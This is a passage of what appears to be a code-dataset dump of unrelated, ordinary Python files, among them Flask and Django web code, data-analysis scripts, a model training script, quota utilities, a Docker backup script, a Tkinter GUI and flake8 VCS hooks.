nums] # 除以每一个数","sub_path":"Product of Array Except Self.py","file_name":"Product of Array Except Self.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"39008389","text":"#!/usr/bin/env python\n# _*_ coding: utf-8 _*_\n#\n# Copyright 1999-2016 China Mobile.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# @Time : 2016/9/2 16:34\n# @Author : Evan\n# @File : fileMd5.py\n\n\"\"\"Simply introduction.\n\nDetails introduction.\n\"\"\"\n\n\nfrom flask.ext.restful import reqparse\nfrom flask.ext.restful import Resource\nfrom models import FileMd5,Host,FileInfo\nfrom flask import request\n\n\nclass FileMd5API(Resource):\n def __init__(self):\n self.reqparse = reqparse.RequestParser()\n super(FileMd5API, self).__init__()\n\n def post(self):\n [host_ip, service_name, file_name, file_md5] = \\\n self.argCheckForPost()\n\n filemd5 = FileMd5(\n host_ip, service_name, file_name, file_md5)\n filemd5.save()\n msg = 'new file md5 item created.'\n return {'message': msg, 'file_id': filemd5.file_id}, 200\n\n def argCheckForPost(self):\n self.reqparse.add_argument(\n 'host_ip', type=str,\n required=True, help='host ip wrong')\n self.reqparse.add_argument(\n 'service_name', type=str,\n required=True, help='service name')\n self.reqparse.add_argument(\n 'file_name', type=str,\n required=True, help='file name')\n self.reqparse.add_argument(\n 'file_md5', type=str,\n required=True, help='file md5 value')\n args = self.reqparse.parse_args()\n host_ip = args['host_ip']\n service_name = args['service_name']\n file_name = args['file_name']\n file_md5 = args['file_md5']\n print [host_ip, service_name, file_name, file_md5]\n return [host_ip, service_name, file_name, file_md5]\n\n\nclass HostAPI(Resource):\n def __init__(self):\n self.reqparse = reqparse.RequestParser()\n super(HostAPI, self).__init__()\n\n def get(self):\n host_id = self.argCheckForGet()\n host = Host.getHostByID(host_id)\n if host:\n result = {}\n result['host_id'] = host.host_id\n result['host_ip'] = host.host_ip\n result['host_name'] = host.host_name\n return {\"message\": \"get host successfully\", \"hostinfo\": result}\n else:\n return {'message': \"host not exist %s\" % host_id}, 200\n\n def post(self):\n [host_ip, host_name] = self.argCheckForPost()\n host = Host.getHostByIp(host_ip)\n if host:\n return {\"message\": \"host is existed %s\" % host_ip}\n else:\n host = Host(host_ip, host_name)\n host.save()\n msg = 'new host item created.'\n return {'message': msg, 'host_id': host.host_id}, 200\n\n def put(self):\n [host_id, host_ip, host_name] = self.argCheckForPut()\n host = Host.getHostByID(host_id)\n if host:\n host.update(host_ip, host_name)\n host.save()\n msg = 'file info updated.'\n return {'message': msg, 'host_id': host.host_id}, 200\n else:\n return {\"message\": \"host is not existed %s\" % host_ip}\n\n def argCheckForPost(self):\n self.reqparse.add_argument(\n 'host_ip', type=str,\n required=True, help='host ip wrong')\n self.reqparse.add_argument(\n 'host_name', type=str,\n required=True, help='service name')\n args = self.reqparse.parse_args()\n host_ip = args['host_ip']\n host_name = args['host_name']\n return [host_ip, host_name]\n\n def argCheckForPut(self):\n self.reqparse.add_argument(\n 'host_id', type=str,\n required=True, help='host id wrong')\n self.reqparse.add_argument(\n 'host_ip', type=str,\n required=True, help='host ip wrong')\n self.reqparse.add_argument(\n 'host_name', type=str,\n required=True, help='service name')\n args = self.reqparse.parse_args()\n host_id = args['host_id']\n host_ip = args['host_ip']\n host_name = args['host_name']\n return [host_id, host_ip, host_name]\n\n def argCheckForGet(self):\n self.reqparse.add_argument(\n 'host_id', type=str,\n required=True, help='host id wrong')\n args = self.reqparse.parse_args()\n host_id = args['host_id']\n return host_id\n\n\nclass FileInfoAPI(Resource):\n def __init__(self):\n self.reqparse = reqparse.RequestParser()\n super(FileInfoAPI, self).__init__()\n\n def get(self):\n host_id = self.argCheckForGet()\n host = Host.getHostByID(host_id)\n if host:\n result = {}\n result['host_id'] = host.host_id\n result['host_ip'] = host.host_ip\n result['host_name'] = host.host_name\n return {\"message\": \"get host successfully\", \"hostinfo\": result}\n else:\n return {'message': \"host not exist %s\" % host_id}, 200\n\n def post(self):\n [host_ip, file_path] = self.argCheckForPost()\n host = Host.getHostByIp(host_ip)\n if host:\n fileinfo = FileInfo.getFileInfoByFilename(host.host_id, file_path)\n if fileinfo:\n return {\"message\": \"file is existed %s\" % file_path}\n else:\n fileinfo = FileInfo(host, file_path)\n fileinfo.save()\n msg = 'new file item created.'\n return {'message': msg, 'file_id': fileinfo.file_id}, 200\n else:\n return {\"message\": \"host is not existed %s\" % host_ip}\n\n\n def argCheckForPost(self):\n self.reqparse.add_argument(\n 'host_ip', type=str,\n required=True, help='host ip wrong')\n self.reqparse.add_argument(\n 'file_path', type=str,\n required=True, help='file path')\n args = self.reqparse.parse_args()\n host_ip = args['host_ip']\n file_path = args['file_path']\n return [host_ip, file_path]\n","sub_path":"flask/flask/fileMd5.py","file_name":"fileMd5.py","file_ext":"py","file_size_in_byte":6436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"123378785","text":"\r\nfrom django.urls import path\r\n\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n # ex: users/\r\n path('', views.index, name='login'),\r\n # ex: users/\r\n path('check', views.check, name='login.check'),\r\n # ex: users/logout\r\n path('logout', views.logoutuser, name='logout'),\r\n\r\n]","sub_path":"Login/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"311843451","text":"from os import path\nimport jieba.analyse\nfrom matplotlib import pyplot as plt\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\n\ndir = path.dirname(__file__)\ntext = open(path.join(dir, 'comment.txt'), encoding='utf-8').read()\n\ntextrank = jieba.analyse.textrank(text,\n topK=10,\n withWeight=False)\n\n\ntext_string = ','.join(textrank)\n\n# 生成词云\nwc = WordCloud(\n width=600, # 默认宽度\n height=200, # 默认高度\n margin=2, # 边缘\n ranks_only=None,\n prefer_horizontal=0.9,\n mask=None, # 背景图形,如果想根据图片绘制，则需要设置\n color_func=None,\n max_words=200, # 显示最多的词汇量\n stopwords=None, # 停止词设置，修正词云图时需要设置\n random_state=None,\n background_color='#ffffff', # 背景颜色设置，可以为具体颜色，比如：white或者16进制数值。\n font_step=1,\n mode='RGB',\n regexp=None,\n collocations=True,\n normalize_plurals=True,\n contour_width=0,\n colormap='viridis', # matplotlib色图，可以更改名称进而更改整体风格\n contour_color='Blues',\n repeat=False,\n scale=2,\n min_font_size=10,\n max_font_size=200)\n\nwc.generate_from_text(text_string)\n\n\n# 显示图像\nplt.imshow(wc, interpolation='bilinear')\nplt.axis('off')\nplt.tight_layout()\n# 存储图像\nwc.to_file('comment_wordcloud.png')\n\nplt.show()\n","sub_path":"Week_05/G20190343010296/week05_G20190343010296_cloud.py","file_name":"week05_G20190343010296_cloud.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70361793","text":"\"\"\"\nTest foreign key relationships to ensure that terms are chosen from the expected vocabularies.\n(Problems in these cannot be picked up just through referential integrity.)\n\"\"\"\n\nimport unittest\nfrom shared.datatest import DataTestCase, runQuery\n\n# (source table, FK in source table, name of expected vocabulary)\nforeignKeys = [\n\t('snp_consensussnp', '_VarClass_key', 'SNP Variation Class'),\n\t('snp_coord_cache', '_VarClass_key', 'SNP Variation Class'),\n\t('snp_consensussnp_marker', '_Fxn_key', 'SNP Function Class'),\n\t('snp_subsnp', '_VarClass_key', 'SNP Variation Class'),\n\t\n# These are known to be faulty. If we decide to remedy them in the database, we can turn \n# on the test cases at that point:\n#\t('snp_population', '_SubHandle_key', 'SNP Submitter Handle'),\n#`\t('snp_subsnp', '_SubHandle_key', 'SNP Submitter Handle'),\n\t]\n\nclass VocabTermTestCase(unittest.TestCase, DataTestCase):\n\tdef testVocabTermChoices(self):\n\t\t\"\"\"\n\t\tFor each tuple, check that the table.field only refers to terms for the desired vocabulary.\n\t\t\"\"\"\n\t\t\n\t\tfor (table, field, vocab) in foreignKeys:\n\t\t\tcmd = '''select 1\n\t\t\t\tfrom voc_vocab\n\t\t\t\twhere name = '%s'\n\t\t\t\tlimit 1''' % vocab\n\t\t\tself.assertQueryCount(1, cmd, 'Cannot find vocab : %s' % vocab)\n\n\t\t\tcmd = '''with terms as (\n\t\t\t\t\tselect distinct %s as _Term_key\n\t\t\t\t\tfrom %s\n\t\t\t\t)\n\t\t\t\tselect 1\n\t\t\t\tfrom terms a, voc_term t, voc_vocab v\n\t\t\t\twhere a._Term_key = t._Term_key\n\t\t\t\t\tand t._Vocab_key = v._Vocab_key\n\t\t\t\t\tand v.name != '%s'\n\t\t\t\tlimit 1''' % (field, table, vocab)\n\t\t\tself.assertQueryCount(0, cmd, '%s.%s has terms other than from: %s' % (table, field, vocab))\n\t\t\t\ndef suite():\n\tsuite = unittest.TestSuite()\n\tsuite.addTest(unittest.makeSuite(VocabTermTestCase))\n\treturn suite\n\nif __name__ == '__main__':\n\tunittest.main()\n","sub_path":"snp_tests/vocab_term_test.py","file_name":"vocab_term_test.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"172547257","text":"# Cross Validation Regression R^2 \nimport pandas \nfrom sklearn import cross_validation \nfrom sklearn.linear_model import LinearRegression \nurl = \"https://goo.gl/sXleFv\" \n\nnames = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV'] \n\ndataframe = pandas.read_csv(url, delim_whitespace=True, names=names) \narray = dataframe.values \nX = array[:,0:13] \nY = array[:,13] \n\nnum_folds = 10 \nnum_instances = len(X) \nseed = 7 \nkfold = cross_validation.KFold(n=num_instances, n_folds=num_folds, random_state=seed) \nmodel = LinearRegression() \nscoring = 'r2' \nresults = cross_validation.cross_val_score(model, X, Y, cv=kfold, scoring=scoring) \nprint(\"R^2: %.3f (%.3f)\") % (results.mean(), results.std()) ","sub_path":"Data-Science-Training-Python--master/Linear Regression/Practise/Cross Validation Regression R^2.py","file_name":"Cross Validation Regression R^2.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"173959865","text":"#!/usr/bin/env python\n\nfrom __future__ import division\n\nimport os\n\nimport laia.utils\nimport torch\nfrom dortmund_utils import (DortmundCTCModule, build_ctc_model2,\n ModelCheckpointKeepLastSaver)\nfrom laia.engine.engine import EPOCH_START, EPOCH_END\nfrom laia.engine.feeders import ImageFeeder, ItemFeeder\nfrom laia.engine.htr_engine_wrapper import HtrEngineWrapper\nfrom laia.engine.trainer import Trainer\nfrom laia.hooks import Hook, HookList, action\nfrom laia.hooks.conditions import Lowest, GEqThan\nfrom laia.common.arguments import add_argument, add_defaults, args\nfrom laia.utils.dortmund_image_to_tensor import DortmundImageToTensor\n\nlogger = laia.common.logging.get_logger('laia.egs.washington.train_ctc')\n\nif __name__ == '__main__':\n add_defaults('gpu', 'max_epochs', 'max_updates', 'train_samples_per_epoch',\n 'valid_samples_per_epoch', 'seed', 'train_path',\n # Override default values for these arguments, but use the\n # same help/checks:\n batch_size=1,\n learning_rate=0.0001,\n momentum=0.9,\n iterations_per_update=10,\n show_progress_bar=True,\n use_distortions=True,\n weight_l2_penalty=0.00005)\n add_argument('--load_checkpoint', type=str,\n help='Path to the checkpoint to load.')\n add_argument('--continue_epoch', type=int)\n add_argument('--train_laia', action='store_true',\n help='Train Laia-based model')\n add_argument('--adaptive_pool_height', type=int, default=16,\n help='Average adaptive pooling of the images before the '\n 'LSTM layers')\n add_argument('--cnn_num_filters', type=int, nargs='+',\n default=[16, 32, 48, 64])\n add_argument('--cnn_maxpool_size', type=int, nargs='*', default=[2, 2])\n add_argument('--lstm_hidden_size', type=int, default=128)\n add_argument('--lstm_num_layers', type=int, default=1)\n add_argument('--min_size', type=int, default=None)\n add_argument('syms', help='Symbols table mapping from strings to integers')\n add_argument('tr_img_dir', help='Directory containing word images')\n add_argument('tr_txt_table',\n help='Character transcriptions of each training image')\n add_argument('va_txt_table',\n help='Character transcriptions of each validation image')\n args = args()\n laia.random.manual_seed(args.seed)\n\n syms = laia.utils.SymbolsTable(args.syms)\n\n # If --use_distortions is given, apply the same affine distortions used by\n # Dortmund University.\n if args.use_distortions:\n tr_img_transform = DortmundImageToTensor(min_width=args.min_size,\n min_height=args.min_size)\n else:\n tr_img_transform = laia.utils.ImageToTensor(min_width=args.min_size,\n min_height=args.min_size)\n\n # Training data\n tr_ds = laia.data.TextImageFromTextTableDataset(\n args.tr_txt_table, args.tr_img_dir,\n img_transform=tr_img_transform,\n txt_transform=laia.utils.TextToTensor(syms))\n if args.train_samples_per_epoch is None:\n tr_ds_loader = laia.data.ImageDataLoader(\n tr_ds, image_channels=1, batch_size=args.batch_size, num_workers=8,\n shuffle=True)\n else:\n tr_ds_loader = laia.data.ImageDataLoader(\n tr_ds, image_channels=1, batch_size=args.batch_size, num_workers=8,\n sampler=laia.data.FixedSizeSampler(tr_ds,\n args.train_samples_per_epoch))\n\n # Validation data\n va_ds = laia.data.TextImageFromTextTableDataset(\n args.va_txt_table, args.tr_img_dir,\n img_transform=laia.utils.ImageToTensor(min_width=args.min_size,\n min_height=args.min_size),\n txt_transform=laia.utils.TextToTensor(syms))\n if args.valid_samples_per_epoch is None:\n va_ds_loader = laia.data.ImageDataLoader(\n va_ds, image_channels=1, batch_size=args.batch_size, num_workers=8,\n shuffle=True)\n else:\n va_ds_loader = laia.data.ImageDataLoader(\n va_ds, image_channels=1, batch_size=args.batch_size, num_workers=8,\n sampler=laia.data.FixedSizeSampler(va_ds,\n args.valid_samples_per_epoch))\n\n if args.train_laia:\n model = build_ctc_model2(\n cnn_num_filters=args.cnn_num_filters,\n cnn_maxpool_size=args.cnn_maxpool_size,\n adaptive_pool_height=args.adaptive_pool_height,\n lstm_hidden_size=args.lstm_hidden_size,\n lstm_num_layers=args.lstm_num_layers,\n num_outputs=len(syms))\n else:\n model = DortmundCTCModule(\n adaptive_pool_height=args.adaptive_pool_height,\n lstm_hidden_size=args.lstm_hidden_size,\n lstm_num_layers=args.lstm_num_layers,\n num_outputs=len(syms))\n\n if args.load_checkpoint:\n model_ckpt = torch.load(args.load_checkpoint)\n model.load_state_dict(model_ckpt)\n\n model = model.cuda(args.gpu - 1) if args.gpu > 0 else model.cpu()\n logger.info('Model has {} parameters',\n sum(param.data.numel() for param in model.parameters()))\n\n optimizer = torch.optim.SGD(params=model.parameters(),\n lr=args.learning_rate,\n momentum=args.momentum,\n weight_decay=args.weight_l2_penalty)\n parameters = {\n 'model': model,\n 'criterion': None, # Set automatically by HtrEngineWrapper\n 'optimizer': optimizer,\n 'data_loader': tr_ds_loader,\n 'batch_input_fn': ImageFeeder(device=args.gpu,\n parent_feeder=ItemFeeder('img')),\n 'batch_target_fn': ItemFeeder('txt'),\n 'batch_id_fn': ItemFeeder('id'), # Print image ids on exception\n 'progress_bar': 'Train' if args.show_progress_bar else False,\n }\n trainer = Trainer(**parameters)\n trainer.iterations_per_update = args.iterations_per_update\n\n evaluator = laia.engine.Evaluator(\n model=model,\n data_loader=va_ds_loader,\n batch_input_fn=ImageFeeder(device=args.gpu,\n parent_feeder=ItemFeeder('img')),\n batch_target_fn=ItemFeeder('txt'),\n batch_id_fn=ItemFeeder('id'), # Print image ids on exception\n progress_bar='Valid' if args.show_progress_bar else False)\n\n engine_wrapper = HtrEngineWrapper(trainer, evaluator)\n engine_wrapper.set_word_delimiters([])\n\n lowest_cer_saver = ModelCheckpointKeepLastSaver(\n model,\n os.path.join(args.train_path, 'model.ckpt-lowest-valid-cer'))\n lowest_wer_saver = ModelCheckpointKeepLastSaver(\n model,\n os.path.join(args.train_path, 'model.ckpt-lowest-valid-wer'))\n\n\n @action\n def save_ckpt(epoch):\n prefix = os.path.join(args.train_path, 'model.ckpt')\n torch.save(model.state_dict(), '{}-{}'.format(prefix, epoch))\n\n\n # Set hooks\n trainer.add_hook(EPOCH_END, HookList(\n Hook(Lowest(engine_wrapper.valid_cer(), name='Lowest CER'),\n lowest_cer_saver),\n Hook(Lowest(engine_wrapper.valid_wer(), name='Lowest WER'),\n lowest_wer_saver)))\n if args.max_epochs and args.max_epochs > 0:\n trainer.add_hook(EPOCH_START,\n Hook(GEqThan(trainer.epochs, args.max_epochs),\n trainer.stop))\n # Save last 10 epochs\n trainer.add_hook(EPOCH_END, Hook(GEqThan(trainer.epochs,\n args.max_epochs - 10),\n save_ckpt))\n\n if args.continue_epoch:\n trainer._epochs = args.continue_epoch\n\n # Launch training\n engine_wrapper.run()\n","sub_path":"egs/washington/steps/train_ctc.py","file_name":"train_ctc.py","file_ext":"py","file_size_in_byte":7981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"434306746","text":"import nose\nimport sys\nimport os\n\ndef read_web_file(webfile):\n linklist=set()\n f=open(webfile,'r')\n for line in f:\n if line.split(';')[0]!='autoID':\n pred=line.split(';')[6]\n interaction_type=line.split(';')[3] # predation, herbivory, etc.\n prey=line.split(';')[20]\n altpred='_'.join(pred.split())\n altprey='_'.join(prey.split())\n linklist.add((altpred,altprey))\n f.close()\n return linklist\n\ndef write_web_file(webfile):\n linklist=read_web_file(webfile)\n f=open('../../data/labelled_adjacency_matrices/weddell.web','w')\n for (pred,prey) in linklist:\n f.write(pred+'\\t'+prey+'\\n')\n f.close()\n\ndef main():\n webfile='../../data/raw/weddell/Weddell_meta_update_UJ.csv'\n\n write_web_file(webfile)\n\nif __name__ == '__main__':\n main()\n","sub_path":"datafile_management/update_weddell_web.py","file_name":"update_weddell_web.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"267277453","text":"# Copyright 2012, 2013 GRNET S.A. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials\n# provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY GRNET S.A. ``AS IS'' AND ANY EXPRESS\n# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GRNET S.A OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# The views and conclusions contained in the software and\n# documentation are those of the authors and should not be\n# interpreted as representing official policies, either expressed\n# or implied, of GRNET S.A.\n\nfrom django.db.models import Sum, Count, Q\n\nfrom synnefo.db.models import VirtualMachine, Network, IPAddress\nfrom synnefo.quotas import Quotaholder\n\n\ndef get_db_holdings(user=None):\n \"\"\"Get holdings from Cyclades DB.\"\"\"\n holdings = {}\n\n vms = VirtualMachine.objects.filter(deleted=False)\n networks = Network.objects.filter(deleted=False)\n floating_ips = IPAddress.objects.filter(deleted=False, floating_ip=True)\n\n if user is not None:\n vms = vms.filter(userid=user)\n networks = networks.filter(userid=user)\n floating_ips = floating_ips.filter(userid=user)\n\n # Get resources related with VMs\n vm_resources = vms.values(\"userid\")\\\n .annotate(num=Count(\"id\"),\n total_ram=Sum(\"flavor__ram\"),\n total_cpu=Sum(\"flavor__cpu\"),\n disk=Sum(\"flavor__disk\"))\n vm_active_resources = \\\n vms.values(\"userid\")\\\n .filter(Q(operstate=\"STARTED\") | Q(operstate=\"BUILD\") |\n Q(operstate=\"ERROR\"))\\\n .annotate(ram=Sum(\"flavor__ram\"),\n cpu=Sum(\"flavor__cpu\"))\n\n for vm_res in vm_resources.iterator():\n user = vm_res['userid']\n res = {\"cyclades.vm\": vm_res[\"num\"],\n \"cyclades.total_cpu\": vm_res[\"total_cpu\"],\n \"cyclades.disk\": 1073741824 * vm_res[\"disk\"],\n \"cyclades.total_ram\": 1048576 * vm_res[\"total_ram\"]}\n holdings[user] = res\n\n for vm_res in vm_active_resources.iterator():\n user = vm_res['userid']\n holdings[user][\"cyclades.cpu\"] = vm_res[\"cpu\"]\n holdings[user][\"cyclades.ram\"] = 1048576 * vm_res[\"ram\"]\n\n # Get resources related with networks\n net_resources = networks.values(\"userid\")\\\n .annotate(num=Count(\"id\"))\n for net_res in net_resources.iterator():\n user = net_res['userid']\n holdings.setdefault(user, {})\n holdings[user][\"cyclades.network.private\"] = net_res[\"num\"]\n\n floating_ips_resources = floating_ips.values(\"userid\")\\\n .annotate(num=Count(\"id\"))\n for floating_ip_res in floating_ips_resources.iterator():\n user = floating_ip_res[\"userid\"]\n holdings.setdefault(user, {})\n holdings[user][\"cyclades.floating_ip\"] = floating_ip_res[\"num\"]\n\n return holdings\n\n\ndef get_quotaholder_holdings(user=None):\n \"\"\"Get quotas from Quotaholder for all Cyclades resources.\n\n Returns quotas for all users, unless a single user is specified.\n \"\"\"\n qh = Quotaholder.get()\n return qh.service_get_quotas(user)\n\n\ndef get_qh_users_holdings(users=None):\n qh = Quotaholder.get()\n if users is None or len(users) != 1:\n req = None\n else:\n req = users[0]\n quotas = qh.service_get_quotas(req)\n\n if users is None:\n return quotas\n\n qs = {}\n for user in users:\n try:\n qs[user] = quotas[user]\n except KeyError:\n pass\n return qs\n\n\ndef transform_quotas(quotas):\n d = {}\n for resource, counters in quotas.iteritems():\n used = counters['usage']\n limit = counters['limit']\n pending = counters['pending']\n d[resource] = (used, limit, pending)\n return d\n","sub_path":"snf-cyclades-app/synnefo/quotas/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"313883656","text":"#!/usr/bin/env python\n\nimport commands\n\n\n# Environment configuration\ncontainer_home = '/home/jovyan/work/'\nbackup_home = '/home/user/backup/'\nsudo_req = 'sudo ' # Make blank if sudo is not required\nuser = 'user'\ngroup = 'group'\n\n\ndef get_containers():\n \"\"\"\n Get a list of container IDs and names\n \"\"\"\n\n # Gather a list of all running containers\n print('Gathering list of containers...')\n cmd_out = commands.getstatusoutput(sudo_req + 'docker ps')[1]\n cmd_lines = cmd_out.split('\\n')\n containers = []\n for line in cmd_lines:\n cmd_parts = line.split()\n id = cmd_parts[0]\n name = cmd_parts[len(cmd_parts)-1]\n containers.append({'id': id, 'name': name})\n\n # Remove the heading from the list\n containers.pop(0)\n\n return containers\n\n\ndef backup_container(container):\n \"\"\"\n Backup the specificed container\n :param container:\n :return:\n \"\"\"\n\n print('Backing up ' + container['name'])\n\n # Copy directory to host\n commands.getstatusoutput(sudo_req + 'docker cp ' + container['id'] + ':' + container_home +\n ' ' + backup_home + container['name'] + '/')\n\n # chown, chgrp files\n commands.getstatusoutput(sudo_req + 'chown -R ' + user + ' ' + backup_home + container['name'])\n commands.getstatusoutput(sudo_req + 'chgrp -R ' + group + ' ' + backup_home + container['name'])\n\n\ndef do_backup():\n \"\"\"\n Perform a full backup\n :return:\n \"\"\"\n\n containers = get_containers()\n\n for c in containers:\n backup_container(c)\n\n print('Backup complete')\n\n\ndo_backup()","sub_path":"scripts/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"217798456","text":"\n# Project : Search in String\n# Professor : vida aghakhanloo\n# Student : Seyed Jaffar Esmaili\n#Source Link : https://github.com/esmaily/search-character-in-string\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom re import *\n\nclass App:\n def __init__(self, master):\n self.frame = Frame(master)\n self.frame.config(height=400, width=700, relief='raised', background=\"#fafafa\")\n self.frame.grid()\n self.wordLabel = Label(self.frame, text='لطفا کلمه خود را وارد کنید ', background='#fafafa', anchor=E,\n font=('Tahoma', 10)).grid(row=1, column=0, columnspan=10, rowspan=3, ipady=10, pady=30)\n self.inputWord = Entry(self.frame, width=35, justify=RIGHT,borderwidth=1,relief='solid')\n self.inputWord.config(highlightbackground='red')\n self.inputWord.grid(row=3, column=0, ipady=2, ipadx=10, pady=0, padx=30, rowspan=1)\n self.searchLabel = Label(self.frame, text='کاراکتری که حذف شود', background='#fafafa',\n font=('Tahoma', 10)).grid(row=4,\n column=0, pady=2)\n self.inputSearch = Entry(self.frame, width=35, justify=RIGHT,borderwidth=1,relief='solid')\n self.inputSearch.grid(row=5,ipady=2,ipadx=10)\n self.button = Button(self.frame, text='جستجو وحذف', bg='#321a28', fg='#fff', borderwidth=0,\n command=self.search).grid(row=6, column=0, ipadx=15, ipady=5, pady=5)\n\n # search input character in input data\n def search(self):\n if (len(self.inputWord.get()) == 0):\n messagebox.showerror(title='خطا', message='لطفا کلمه ای خود را وارد نمایید')\n elif (len(self.inputSearch.get()) == 0):\n messagebox.showerror(title='خطا', message='کاراکتری که جز کلمه بالایی است وارد کنید')\n else:\n word = self.inputWord.get()\n search = self.inputSearch.get()\n if (search in word):\n word=re.sub(search,'',word)\n self.inputWord.delete(0,END)\n self.inputWord.insert(0,word)\n else:\n messagebox.showerror(title='خطا', message=\"کاراکتر وارد شده پیدا نشد\")\n\ndef main():\n root = Tk()\n root.geometry(\"300x200+470+210\")\n root.title(\"Serach String box\")\n root.resizable(0, 0)\n root.configure(background='#fafafa')\n app = App(root)\n root.mainloop()\n\nif (__name__ == '__main__'): main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"276934283","text":"import os\nimport sys\nfrom flake8.util import (_initpep8, pep8style, skip_file, get_parser,\n ConfigParser)\nfrom subprocess import Popen, PIPE\n\n\ndef git_hook(complexity=-1, strict=False, ignore=None, lazy=False):\n from flake8.main import check_file\n _initpep8()\n if ignore:\n pep8style.options.ignore = ignore\n\n warnings = 0\n\n gitcmd = \"git diff-index --cached --name-only HEAD\"\n if lazy:\n gitcmd = gitcmd.replace('--cached ', '')\n\n _, files_modified, _ = run(gitcmd)\n for filename in files_modified:\n ext = os.path.splitext(filename)[-1]\n if ext != '.py':\n continue\n if not os.path.exists(filename):\n continue\n warnings += check_file(path=filename, ignore=ignore,\n complexity=complexity)\n\n if strict:\n return warnings\n\n return 0\n\n\ndef hg_hook(ui, repo, **kwargs):\n from flake8.main import check_file\n complexity = ui.config('flake8', 'complexity', default=-1)\n config = ui.config('flake8', 'config', default=True)\n _initpep8(config_file=config)\n warnings = 0\n\n for file_ in _get_files(repo, **kwargs):\n warnings += check_file(file_, complexity)\n\n strict = ui.configbool('flake8', 'strict', default=True)\n\n if strict:\n return warnings\n\n return 0\n\n\ndef run(command):\n p = Popen(command.split(), stdout=PIPE, stderr=PIPE)\n p.wait()\n return (p.returncode, [line.strip() for line in p.stdout.readlines()],\n [line.strip() for line in p.stderr.readlines()])\n\n\ndef _get_files(repo, **kwargs):\n seen = set()\n for rev in range(repo[kwargs['node']], len(repo)):\n for file_ in repo[rev].files():\n file_ = os.path.join(repo.root, file_)\n if file_ in seen or not os.path.exists(file_):\n continue\n seen.add(file_)\n if not file_.endswith('.py'):\n continue\n if skip_file(file_):\n continue\n yield file_\n\n\ndef find_vcs():\n if os.path.isdir('.git'):\n if not os.path.isdir('.git/hooks'):\n os.mkdir('.git/hooks')\n return '.git/hooks/pre-commit'\n elif os.path.isdir('.hg'):\n return '.hg/hgrc'\n return ''\n\n\ngit_hook_file = \"\"\"#!/usr/bin/env python\nimport sys\nimport os\nfrom flake8.hooks import git_hook\n\nCOMPLEXITY = os.getenv('FLAKE8_COMPLEXITY', 10)\nSTRICT = os.getenv('FLAKE8_STRICT', False)\n\n\nif __name__ == '__main__':\n sys.exit(git_hook(complexity=COMPLEXITY, strict=STRICT))\n\"\"\"\n\n\ndef _install_hg_hook(path):\n c = ConfigParser()\n c.readfp(open(path, 'r'))\n if not c.has_section('hooks'):\n c.add_section('hooks')\n\n if not c.has_option('hooks', 'commit'):\n c.set('hooks', 'commit', 'python:flake8.hooks.hg_hook')\n\n if not c.has_option('hooks', 'qrefresh'):\n c.set('hooks', 'qrefresh', 'python:flake8.hooks.hg_hook')\n\n if not c.has_section('flake8'):\n c.add_section('flake8')\n\n if not c.has_option('flake8', 'complexity'):\n c.set('flake8', 'complexity', str(os.getenv('FLAKE8_COMPLEXITY', 10)))\n\n 